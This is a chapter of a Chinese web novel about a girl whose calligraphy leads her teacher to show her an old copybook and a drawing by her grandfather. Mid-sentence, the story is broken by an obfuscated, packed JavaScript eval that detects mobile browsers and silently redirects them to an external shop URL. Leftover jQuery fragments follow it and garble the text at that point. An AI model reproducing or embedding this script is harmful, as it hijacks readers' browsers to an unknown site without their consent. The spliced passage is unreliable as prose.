文趣网 > 都市小说 > 墨散意不尽 > 2. 眼神
    陈苗苗是张清的同桌。

    准确说,是陈苗苗自己选的张清。开学第一天,她搬着凳子往张清旁边一坐:"我跟你坐,你字写得好,抄作业方便。"

    张清没吭声。

    陈苗苗家在厂区门口开小卖部,卖烟酒糖盐、铅笔本子,也卖五分钱一根的冰棍和两分钱一块的橘子糖。她是走到哪儿都自带响声的小孩,说话快,笑起来更响,课间十分钟能把半个操场的女生都召集到一起跳皮筋。张清不跳皮筋。陈苗苗叫她"闷葫芦",但不妨碍她每天往张清耳朵边灌话。

    "我爸昨天进了一箱大大泡泡糖,你要不要?"

    "不要。"

    "真不要?比供销社便宜两分。"

    "不要。"

    "你这人真没意思。"陈苗苗叹口气,转头跟后桌聊去了。第二天照样来问。

    张清不讨厌她。陈苗苗像一只麻雀,叽叽喳喳的,但不碍事。而且她说什么张清都不用接,偶尔"嗯"一声就行。这在张清的世界里已经算轻松了。

    上学路上的十分钟是陈苗苗的专场。从厂区宿舍楼到子弟学校要经过一段下坡路,路两边是车间的高墙,墙上刷着标语。陈苗苗一路说个不停,从她爸新进的货说到隔壁王婶家的狗下了崽,从昨晚的电视剧说到谁谁谁的铅笔盒比她的好看。张清走在旁边,书包带子勒在肩上,听着,偶尔点头。

    "你今天怎么不说话?"陈苗苗偶尔会问。

    "我在听。"

    "听什么?你说两句能怎样?"

    "嗯。"

    "算了算了。"陈苗苗翻个白眼,"跟你说话跟对牛弹琴似的。"

    但第二天她还是会来叫张清一起上学。

    周三下午最后一节是书法课。周伯年站在讲台上,蓝色中山装,扣子扣到最上面一颗。五十多岁,头发花白,背挺得笔直,说话慢条斯理。厂区子弟学校的老师不多,语文、书法、历史都是他一个人教。厂里的人说他是□□平反来的,以前在大学教过书,教什么没人说得清。

    书法课上,周伯年不教怎么写好看,教的是怎么坐、怎么呼吸、怎么握笔。"笔正心正"是他的口头禅,每天念。

    作业是写三张大字。张清写"永"字,和每天在家写的一样。但她写得比平时认真,不是因为周伯年,是因为现在写"永"字的时候,总会想起暑假里那滩自己会动的墨。

    她没再试过。暑假结束后每天五十个大字照写,但她没再单独用"永"字测试。那件事她压在心里,像压一张纸在镇纸底下。

    交作业时,陈苗苗探头看了一眼。

    "你写的'永'怎么跟我的不一样?"

    "哪不一样?"

    "说不出来。就是……有劲。"

    张清把本子合上了。

    第二天上午,周伯年在办公室批改作业。

    他改作业有个习惯,不看写得对不对,只看字。每一本都翻开看很久,偶尔拿笔在旁边画圈或画线。一摞作业改一个上午,旁边放一杯碎茶末子泡的浓茶,凉了也不换。

    改到张清那本的时候,笔停了。

    不是停下来想评语的那种停。是手抖了一下,笔尖在纸上戳了个墨点。周伯年盯着那个"永"字看了很久。他翻回前一页,又翻回来,反反复复看了三遍。然后他把作业本合上,单独放在一边。

    接下来几本改得很快。

    放学后,教室里只剩张清。陈苗苗已经冲出去了,小卖部今天到了一批新本子,她要回去帮忙摆货。临走时还回头喊了一句:"明天跳皮筋啊!再不来我真找别人了!"

    教室安静下来。窗外操场上有男生在踢球,皮球撞墙的声音一下一下传过来。

    周伯年推门进来。

    "张清。"

    她站起来。

    "跟我来。"

    没往办公室走,往宿舍区方向走。张清跟在后面,书包背带勒在肩膀上。她没问去哪。周伯年不说的事,问了也不会回答。

    宿舍区最尽头有一间平房,青砖黑瓦,墙角长了青苔。门口一棵竹子,叶子在风里轻轻颤。

    周伯年推开门,老墨的气味扑面而来。

    屋子不大。靠墙一排旧书架,摆满线装书。一张老式书桌靠窗,桌上笔墨纸砚摆得端端正正。砚台是老端砚,比学校那块大两倍,砚面上有细细的石纹,像年轮。

    "坐。"

    张清在书桌对面的木凳上坐下。凳面磨得光溜溜的,有点凉。

    周伯年没说话,站在书架前,背对着她。张清看见他的手在书架上一层一层地摸,摸到最下面一层,停住了。

    他抽出一个布包。蓝底白花的粗棉布,四角打着结,系得很紧。

    布包放在桌上,一层一层解开。里面是两样东西,一本旧字帖,和一张泛黄的纸。

    字帖比张清见过的任何字帖都旧。封面布面褪了色,边角磨起毛。翻开扉页,第一页写着一个"永"字。

    张清愣住了。

    那个"永"字的笔法,和她写的一模一样。是同一种路子。起笔藏锋的角度,行笔中锋的力度,收笔回锋时那个微妙的停顿,全一样。

    她写"永"字写了三年,从来没人教过她这种写法。父亲只说"继续写",不教笔法。她是自己写出来的,写着写着就变成了这样。她以为所有人的"永"字都是这样写的。

    但字帖上这个字,至少有四十年了。墨色已经发灰,纸面发黄发脆,但笔路清清楚楚。

    "你看看这张。"周伯年把泛黄的纸推过来。

    纸上画着一个图形。是介于字和画之间的东西。线条有粗有细,有直有弯,但每一根的笔路都清清楚楚。起笔藏锋,行笔中锋,收笔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809166|210771||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    回锋。

    张清凑近了看。图形的右下角有一根弧线,弧线下面隐约还有几根极细的线,像根须。纸太旧了,那几根细线几乎看不清。

    "这是你爷爷画的。"周伯年说。

    张清抬头看他。

    "你爷爷,张慎之。"老人的声音压得很低,"我跟他学过。"

    "学什么?"

    周伯年没回答。他指了指桌上的字帖,又指了指那张泛黄的图。

    "你这个字——"他说,停了一下,像在斟酌。

    "有笔意了。"

    他的手在抖。那种压了很久的东西冒出来时,身体比脑子先反应过来的抖。

    "你爷爷……也这样写。"

    张清看着周伯年。老人的眼睛里有一种她没见过的东西。和上课时的严厉不一样,和改作业时的平淡也不一样。她找不到词来形容那种东西。

    眼眶里有什么东西在动,嘴唇抿了一下又松开。那种表情张清说不准。

    屋子里很安静。窗外的竹子被风吹得沙沙响。远处车间的汽笛响了一声,又安静了。

    "你先回去。"周伯年把字帖和图重新包好,放回书架。"该告诉你的,慢慢告诉你。"

    张清站起来,走到门口,回头看了一眼桌上那个布包。蓝底白花,系得紧紧的,和墙角的青苔一个颜色。

    她又看了一眼周伯年。老人坐在书桌后面,端起茶杯,发现茶凉了,又放下了。

    张清走出那间平房。厂区的路灯还没亮,天边最后一点光正在收。她沿着小路往回走,走到宿舍楼拐角的时候,碰见陈苗苗嘴里叼着一根泡泡糖从家里冲出来。

    "哎!你去哪了?我找你半天!"陈苗苗脸上沾着糖渣,"我妈让我给你送两个本子。要不要?不要我拿回去退了。"

    "要。"

    "那你倒是说啊!我喊三遍了!"陈苗苗把本子塞给她,"你今天怪怪的,脸白得跟纸似的。谁欺负你了?"

    "没人。"

    "那你…"

    "苗苗,我回家了。"

    张清拿着本子往家走。陈苗苗在后面喊:"明天跳皮筋!再不来我真找别人了!"

    张清没回头,摆了摆手。

    回到家,堂屋灯亮着。母亲在灶台边忙,父亲还没下班。张清把书包放下,坐到方桌前,铺纸,蘸墨,开始写每天的字。

    写的是"永"字。

    笔尖落纸的时候,她想起周伯年拿出来的那本旧字帖。扉页上那个"永"字,笔法和她的一模一样。四十年前的字。

    还有那张泛黄的纸。上面那个图形,介于字和画之间的东西。线条有粗有细,有直有弯。

    她在心里把那些线条过了一遍。

    然后她停了笔。

    那些线条的笔路——和她写字时的笔路一模一样。